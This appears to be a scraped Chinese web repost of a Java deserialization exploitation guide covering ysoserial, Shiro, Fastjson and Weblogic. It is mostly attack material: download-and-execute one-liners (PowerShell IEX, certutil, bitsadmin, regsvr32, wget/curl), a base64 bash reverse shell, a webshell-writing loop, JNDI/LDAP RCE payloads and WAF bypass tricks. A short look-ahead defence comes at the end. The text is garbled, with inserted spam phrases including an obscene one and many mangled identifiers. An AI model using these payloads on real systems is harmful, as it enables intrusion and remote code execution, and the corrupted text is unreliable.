Java反序列化

更新时间:2023-07-18 20:30:55 阅读: 评论:0

Java反序列化
基础
序列化
将对象转换为字节序列的过程,ObjectOutputStream的writeObject()⽅法实现序列化
反序列化
将字节序列还原为对象的过程,ObjectInputStream的readObject()⽅法实现反序列化
序列化的作⽤
远程⽅法调⽤
便于通过⽹络传输对象⾄远程系统
便于存储对象在数据库或本地⽂件
序列化条件
该类必须实现 java.io.Serializable 接⼝。
该类的所有属性必须是可序列化的。如果有⼀个属性不是可序列化的,则该属性必须注明是短暂的。
注:transient关键字修饰的变量不进⾏序列化。
将字节序列转成易读形式的⼯具
java -jar SerializationDumper-Shiro.jar -r test.obj
反序列化
public class Derialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream("test.obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Ur ur = (Ur) adObject();
ois.clo();
System.out.println("Ur: " + ur);
System.out.println("Name: " + ur.getName());
System.out.println("Email: " + ur.getEmail());
}
}
rialVersionUID是在JAVA序列化、反序列化时起作⽤的⼀个字段
JAVA的序列化机制是通过判断类rialVersionUID来验证版本的⼀致性
在进⾏反序列时,JVM会把传来的字节流中的rialVersionUID与对应类的rialVersionUID进⾏⽐较,如果⼀致则进⾏反序列化,否则会出现异常如过可序列化的类没有显⽰声明rialVersionUID的值,会根据算法计算得到rialVersionUID,编译器实现不同可能导致rialVersionUID有所不同。反序列化漏洞
漏洞原理
Source 接收不信任的数据进⾏反序列化
Sink可利⽤的Gadget Chains
漏洞危害国庆活动
RCE、DOS、SSRF、etc.
易受攻击协议
RMI (Remote Method Invocation)
JMX (Java Management Extension)
JMS (Java Messaging System)
AMF (Action Message Format)
Weblogic T3
Customer Application Protocol
...
易受攻击组件
Weblogic
JBoss
快乐的春游作文
Shiro
WebSphere
Fastjson
Jenkins
JSF ViewState
...
漏洞挖掘
ysorial
Payload⽣成⼯具:java -jar ysorial-[version]-all.jar [payload] '[command]'
Payloads
BeanShell C3P0CommonsBeanutils1JBossInterceptors1
FileUpload1Myfaces1CommonsCollections1JRMPClient
Groovy1Myfaces2CommonsCollections2JRMPListener
Hibernate1ROME CommonsCollections3JavassistWeld1
Hibernate2Spring1CommonsCollections4MozillaRhino1
JSON1Spring2CommonsCollections5MozillaRhino2
Jdk7u21URLDNS CommonsCollections6Wicket1
<
URLDNS
java -jar ysorial-[version]-all.jar URLDNS 'xxx.burpcollaborator'
需⽀持DNS查询
JDK⾃带,不依赖于第三⽅库
投影仪怎么使用最简单的payload,虽然不能RCE,却是反序列化漏洞检测最简单和最有效的办法
Gadget Chain
通过HashMap触发DNS查询。
多媒体技术论文adObject() → HashMap.putVal() → HashMap.hash() → URL.hashCode()
CommonsCollections1
java -jar ysorial-[version]-all.jar URLDNS 'xxx.burpcollaborator'
依赖于commons-collections:3.1
很多Java应⽤都有在⽤Apache Commons Collections库
反序列化漏洞⾥很经典的payload,2015年最被低估的漏洞,影响weblogic、websphere、jboss等各⼤Java应⽤
通过DNS盲打识别远程服务器classpath上的类,库,和库版本
Java反序列化漏洞⼀般⽆回显,通过GadgetProbe先获取存在的类和库,再⽤对应的payload去打
参照URLDNS,不依赖于第三⽅库
⽀持BurpSuite Extension
⽀持作为Java库或者CLI使⽤,可以灵活使⽤和修改
可以⽅便的开启RMI和LDAP服务,还可以⽤于⽣成Jackson、Xstream等payload
java -cp target/marshalc-0.0.3-SNAPSHOT-all.jar marshalc.<Marshaller> [-a] [-v] [-t] [<gadget_type> [&>]]
开启LDAP服务
java -cp marshalc-0.0.3-SNAPSHOT-all.jar marshalc.jndi.LDAPRefServer 192.168.1.1:80/#Poc
开启RMI服务
java -cp marshalc-0.0.3-SNAPSHOT-all.jar marshalc.jndi.RMIRefServer 192.168.1.1:80/#Poc
Shiro反序列化漏洞
识别
在请求的Cookie中添加rememberMe=test,如果响应包中包含rememberMe=deleteMe则判断为Shiro
SHIRO-550
Shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,其处理Cookie的流程是:得到rememberMe的Cookie值 → Ba64解码 → AES解密 → 反序列化,由于AES 使⽤默认的Key、常见的Key、Key泄漏等原因导致反序列化的Cookie可控,从⽽引发反序列化漏洞。
Blind盲利⽤
下载执⾏/反弹
Windows
< -nop -w hidden -c "IEX((new-object net.webclient).downloadstring(':80/p'))"
certutil -urlcache -split -/ c:\\windows\\temp\\ && c:\\windows\\temp\\
bitsadmin /transfer / c:\\windows\\temp\\ && c:\\windows\\temp\\
regsvr32 /s /n /u /:80/r scrobj.dll
Linux
wget -O /tmp/test.:80/test.sh;chmod +x /tmp/test.sh;/tmp/test.sh
curl -O /tmp/test.:80/test.sh;chmod +x /tmp/test.sh;/tmp/test.sh
bash -c {echo,YmFzaCAtaSAvZGV2L3RjcC94LngueC54LzIzMzMgMD4mMQ==}|{ba64,-d}|{bash,-i}
闻的拼音写webshell⽂件
关键寻找Web应⽤路径
Windows
Windows直接命令执⾏写webshell会⽐较⿇烦,可以先将命令执⾏转为代码执⾏(修改ysorial代码实现)
Linux
find /|grep jquery.form.js|while read f; do sh -c "whoami" > (dirnamef)/;done
构造回显
在不通外⽹的情况下,漏洞利⽤就会很艰难了。但是可以考虑通过报错、web获取当前上下⽂对象、
修改当前⽹络连接描述⽂件等⽅法获取回显
SHIRO-721
rememberMe cookie通过AES-128-CBC模式加密,容易收到Padding Oracle攻击。攻击者可以使⽤有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后精⼼制作rememberMe来执⾏反序列化攻击。
Fastjson反序列化漏洞
Fastjson识别
破坏json格式,引发报错
⽬标可能⽀持多种数据格式提交,可将Content-Type修改为application/json试⼀下
{"@type":"java.Inet4Address","val":"dnslog"}
{"@type":"java.Inet6Address","val":"dnslog"}
{{"@type":"java.URL","val":"dnslog"}:"0"}
神策军碑Set[{"@type":java.URL","val":"dnslog"}]
{"@type":"java.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.URL", "val":"dnslog"}}""}
# 1.2.24版本
{"@type":"wt.JdbcRowSetImpl","dataSourceName":"ldap://:1099/Exploit","autoCommit":true}
# 1.2.25-41版本
{"@type":"wt.RowSetImpl;","dataSourceName":"ldap://:1099/Exploit","autoCommit":true}
# 1.2.25-45版本(⿊名单绕过,需要有第三⽅组建ibatis-core 3:0)
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"{"data_source":"ldap://:1099/Exploit"}}
# 1.2.21-47版本
{"a":{"@type":"java.lang.Class","val":"wt.JdbcRowSetImpl"},"b":{"@type":"wt.JdbcRowSetImpl","dataSourceName":"ldap:/ /:1099/Exploit","autoCommit":true}}
王羲之行书千字文
服务器不同外⽹
BasicDataSource
{{"x":{"@type":"at.dbcp.dbcp2.BasicDataSource","driverClassLoader":{"@type":"com.sun.apache.bcel.internal.util.ClassLoader "},"driverClassName":"$$BCEL$$class的BCEL编码"}}:"x"}
TemplatesImpl
前提:需要设置Feature.SupportNonPublicField
{"@type":"com.sun.apache.xalan.ax.TemplatesImpl","_bytecodes":["class的ba64"],"_name":"a.b","_tfactory":{},"_outputPropert ies":{},"_version":"1.0","allowedProtocols":"all"}
Tips
RMI限制⽐较多,建议⽤LDAP
RMI适⽤版本:JDK 6u132、7u122、8u113之前
LDAP适⽤版本:JDK 11.0.1、8u191、7u201、6u211之前
如果LDAP能获取服务器访问请求,但是reference⽆法加载远程class⽂件,⼀般是由于JDK版本问题,需要考虑绕过JDK版本限制
如果LDAP能获取服务器访问请求,reference可以加载远程class⽂件,但是代码没有被成功执⾏,⼀般是本地编译POC的JDK版本和⽬标服务器版本不⼀致,本地编译换JDK版本即可
Weblogic反序列化漏洞
识别
404页⾯
/console
/uddiexplorer
/wls-wsat/CoordinatorPortType
/bea_wls_deployment_internal/DeploymentService
/_async/AsyncResponService
CVE
CVE-2015-4852CVE-2018-2893CVE-2019-2729 CVE-2016-0638CVE-2018-3191CVE-2020-2551 CVE-2016-3510CVE-2018-3245CVE-2020-2555 CVE-2017-3248CVE-2019-2618
CVE-2018-2628CVE-2019-2725
Java反序列漏洞Bypass
WAF
WAF是最常见的防御⼿段,但是WAF对于反序列化攻击的防御还是有点⼼有余⽽⼒不⾜。WAF主要还是依靠⿊名单规则,常见的绕过⼿段有:
寻找新的Gadget
Payload加密的基本直接过,⽐如Shiro反序列化漏洞
还有拦/wls_wsat/CoordinatorPortType11的,结合Weblogic特性加上;/../x即可绕过
Look-Ahead Check
通过重写ObjectInputStream的resolveClass增加⿊名单或者⽩名单类
Weblogic
SerialKiller
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only derialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,ClassNotFoundException {
if (!Name().equals(Name())) {
throw new InvalidClassException("Unauthorized derialization attempt", Name());
}
最长的阴茎solveClass(desc);
}
}

本文发布于:2023-07-18 20:30:55,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/89/1086791.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:序列化   漏洞   版本   对象   攻击   需要   序列   服务器
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图